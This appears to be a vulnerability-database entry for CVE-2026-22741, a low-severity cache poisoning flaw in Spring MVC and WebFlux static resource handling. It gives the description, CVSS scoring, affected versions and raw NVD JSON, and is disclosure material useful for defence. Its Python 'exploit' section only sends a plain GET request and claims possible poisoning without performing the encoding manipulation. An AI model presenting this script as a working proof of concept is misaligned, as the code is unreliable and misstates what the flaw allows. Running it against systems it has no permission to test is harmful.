CVE-2026-22741

Description

Spring MVC and WebFlux applications are vulnerable to cache poisoning when resolving static resources. More precisely, an application can be vulnerable when all the following are true: * the application is using Spring MVC or Spring WebFlux * the application is configuring the resource chain support https://docs.spring.io/spring-framework/reference/web/webmvc/mvc-config/static-resources.html#page-title with caching enabled * the application adds support for encoded resources resolution * the resource cache must be empty when the attacker has access to the application When all the conditions above are met, the attacker can send malicious requests and poison the resource cache with resources using the wrong encoding. This can cause a denial of service by breaking the front-end application for clients.

CVSS Details

CVSS Score

3.1

Severity

LOW

CVSS Vector

CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:N/A:L

Configurations (Affected Products)

cpe:2.3:a:vmware:spring_framework:*:*:*:*:*:*:*:* - VULNERABLE

Spring MVC

Spring WebFlux

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

def exploit_cache_poisoning(target_url):
    """
    PoC for CVE-2026-22741: Spring Cache Poisoning
    This script sends a crafted request to attempt poisoning the static resource cache.
    """
    headers = {
        "User-Agent": "Mozilla/5.0 (PoC-Client)",
        "Accept-Encoding": "gzip, deflate, br"
    }
    
    # Attacker sends a request to a static resource when the cache is presumed empty
    # The specific encoding manipulation depends on the server configuration
    try:
        response = requests.get(target_url, headers=headers)
        if response.status_code == 200:
            print(f"[+] Request sent to {target_url}. Cache potentially poisoned if conditions are met.")
            print(f"[+] Response Content-Type: {response.headers.get('Content-Type')}")
        else:
            print(f"[-] Request failed with status code: {response.status_code}")
    except Exception as e:
        print(f"[!] Error: {e}")

if __name__ == "__main__":
    target = "http://vulnerable-app/static/example.js"
    exploit_cache_poisoning(target)

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-22741
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-22741
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-22741/
[4] VulDB https://vuldb.com/cve/CVE-2026-22741
[5] https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:N/A:L&version=3.1
[6] https://spring.io/security/cve-2026-22741

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-22741", "sourceIdentifier": "[email protected]", "published": "2026-04-29T12:16:18.487", "lastModified": "2026-05-04T14:51:05.160", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Spring MVC and WebFlux applications are vulnerable to cache poisoning when resolving static resources.\n\n\nMore precisely, an application can be vulnerable when all the following are true:\n\n * the application is using Spring MVC or Spring WebFlux\n * the application is configuring the resource chain support https://docs.spring.io/spring-framework/reference/web/webmvc/mvc-config/static-resources.html#page-title with caching enabled\n * the application adds support for encoded resources resolution\n * the resource cache must be empty when the attacker has access to the application\n\n\nWhen all the conditions above are met, the attacker can send malicious requests and poison the resource cache with resources using the wrong encoding. This can cause a denial of service by breaking the front-end application for clients."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:N/A:L", "baseScore": 3.1, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 1.6, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-524"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:vmware:spring_framework:*:*:*:*:*:*:*:*", "versionEndExcluding": "5.3.48", "matchCriteriaId": "23C9BFA0-DDE5-4E6D-A9E0-ECC236913DF3"}, {"vulnerable": true, "criteria": "cpe:2.3:a:vmware:spring_framework:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.1.0", "versionEndExcluding": "6.1.27", "matchCriteriaId": "FC58C148-219F-4868-B9F0-E0AF4435EF79"}, {"vulnerable": true, "criteria": "cpe:2.3:a:vmware:spring_framework:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.2.0", "versionEndExcluding": "6.2.18", "matchCriteriaId": "F317C66F-752D-40A9-AECF-5D1E51368AFE"}, {"vulnerable": true, "criteria": "cpe:2.3:a:vmware:spring_framework:*:*:*:*:*:*:*:*", "versionStartIncluding": "7.0.0", "versionEndExcluding": "7.0.7", "matchCriteriaId": "78C5C95C-1A83-40E7-8C73-D5965E20BD06"}]}]}], "references": [{"url": "https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:N/A:L&version=3.1", "source": "[email protected]", "tags": ["US Government Resource"]}, {"url": "https://spring.io/security/cve-2026-22741", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}